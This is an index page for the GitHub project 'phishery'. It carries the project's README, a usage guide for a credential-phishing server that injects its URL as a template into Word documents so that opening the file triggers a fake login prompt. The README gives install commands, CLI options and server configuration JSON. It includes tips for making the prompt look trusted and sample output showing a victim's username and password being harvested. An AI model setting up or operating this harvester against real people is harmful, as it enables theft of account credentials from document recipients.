Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/ryhanson/phishery
An SSL Enabled Basic Auth Credential Harvester with a Word Document Template URL Injector
https://github.com/ryhanson/phishery
Last synced: 28 days ago
JSON representation
An SSL Enabled Basic Auth Credential Harvester with a Word Document Template URL Injector
- Host: GitHub
- URL: https://github.com/ryhanson/phishery
- Owner: ryhanson
- License: mit
- Created: 2016-09-25T02:19:24.000Z (about 8 years ago)
- Default Branch: master
- Last Pushed: 2017-09-11T15:42:10.000Z (over 7 years ago)
- Last Synced: 2024-02-15T06:34:04.052Z (10 months ago)
- Language: Go
- Size: 80.1 KB
- Stars: 955
- Watchers: 47
- Forks: 210
- Open Issues: 8
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- cybersecurity-golang-security - phishery - An SSL Enabled Basic Auth Credential Harvester with a Word Document Template URL Injector (Phishing)
- awesome-go-security - phishery - An SSL Enabled Basic Auth Credential Harvester with a Word Document Template URL Injector (Phishing)
README
# phishery
Phishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication.
Phishery also provides the ability easily to inject the URL into a .docx Word document.
The power of phishery is best demonstrated by setting a Word document's template to a phishery URL. This causes
Microsoft Word to make a request to the URL, resulting in an Authentication Dialog being shown to the end-user. The
ability to inject any .docx file with a URL is possible using phishery's
`-i [in docx]`, `-o [out docx]`, and `-u [url]` options.
### Download
Operating system specific packages can be [downloaded from here](https://github.com/ryhanson/phishery/releases).
### Install
Extract the archive, and optionally, install binary to $PATH
```bash
$ tar -xzvf phishery*.tar.gz
$ cd phishery*
$ cp phishery /usr/local/bin
```
### Usage
```text
$ phishery --help
|\ \\\\__ O __ _ __
| \_/ o \ o ____ / /_ (_)____/ /_ ___ _______ __
> _ (( <_ oO / __ \/ __ \/ / ___/ __ \/ _ \/ ___/ / / /
| / \__+___/ / /_/ / / / / (__ ) / / / __/ / / /_/ /
|/ |/ / .___/_/ /_/_/____/_/ /_/\___/_/ \__, /
/_/ Basic Auth Credential Harvester (____/
with Word Doc Template Injector
Start the server : phishery -s settings.json -c credentials.json
Inject a template : phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
Options:
-h, --help Show usage and exit.
-v Show version and exit.
-s The JSON settings file used to setup the server. [default: "settings.json"]
-c The JSON file to store harvested credentials. [default: "credentials.json"]
-u The phishery URL to use as the Word document template.
-i The Word .docx file to inject with a template URL.
-o The new Word .docx file with the injected template URL.
```
##### Running the server
Modify the provided settings.json file as needed, by default it should look like this:
```json
{
"ip": "0.0.0.0",
"port": "443",
"sslCert": "server.crt",
"sslKey": "server.key",
"basicRealm": "Secure Document Gateway",
"responseStatus": 200,
"responseFile": "template.dotx",
"responseHeaders": [
["Content-Type", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"]
]
}
```
This setup will start the HTTP server on Port *443* with SSL configured to use *server.crt* and *server.key*.
The basic authentication realm is set to *Secure Document Gateway*.
When any credentials are provided, a *200* response status is sent along with the contents of the included *template.dotx* and
the content type header: *Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.template*.
The settings file may also be configured to output a simple body, by using *responseBody*, like this:
```json
{
"ip": "0.0.0.0",
"port": "443",
"sslCert": "server.crt",
"sslKey": "server.key",
"basicRealm": "Secure Document Gateway",
"responseStatus": 404,
"responseBody": "
Not Found
",
"responseHeaders": [
["Content-Type", "text/html"]
]
}
```
The effectiveness of this tool is based mostly on the Domain and Basic Auth Realm used, as that is often all the end user
will see when triggered from an Office document. Make sure to point your DNS A Records the public IP of the phishery server.
It's recommended that the provided cert is replaced with a trusted one, such as one generated with
[LetsEncrypt](https://github.com/certbot/certbot). Microsoft Word on OS X will prevent the auth dialog if the cert is invalid, and Microsoft Word on Windows will prompt the user to accept the invalid certificate.
Once the server is configured and running, all you need to do is embed a phishery URL in a document, or anywhere
else your heart desires. phishery does give you the ability to inject your URL into a Word document as a template,
instructions on how to do this can be found below.
##### Injecting a Word Document
To inject a Word document with a template URL, you'll need a .docx file and the phishery server URL.
Now run phishery with your document and URL:
```text
$ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
[+] Opening Word document: good.docx
[+] Setting Word document template to: https://secure.site.local/docs
[+] Saving injected Word document to: bad.docx
[*] Injected Word document has been saved!
```
Make sure your phishery server is running and available at the URL you used. Now when the Word document
is opened, the victim will be prompted with an authentication dialog.
Now when the victim opens the document, you'll see the following:
```text
$ ./phishery
[+] Credential store initialized at: credentials.json
[+] Starting HTTPS Auth Server on: 0.0.0.0:443
[*] Request Received at 2016-09-25 01:06:28: HEAD https://secure.site.local/docs
[*] Sending Basic Auth response to: 127.0.0.1
[*] New credentials harvested!
[HTTP] Host : secure.example.local
[HTTP] Request : /docs
[HTTP] User Agent : Microsoft Office Word
[HTTP] IP Address : 127.0.0.1
[AUTH] Username : john.doe
[AUTH] Password : Summer15
```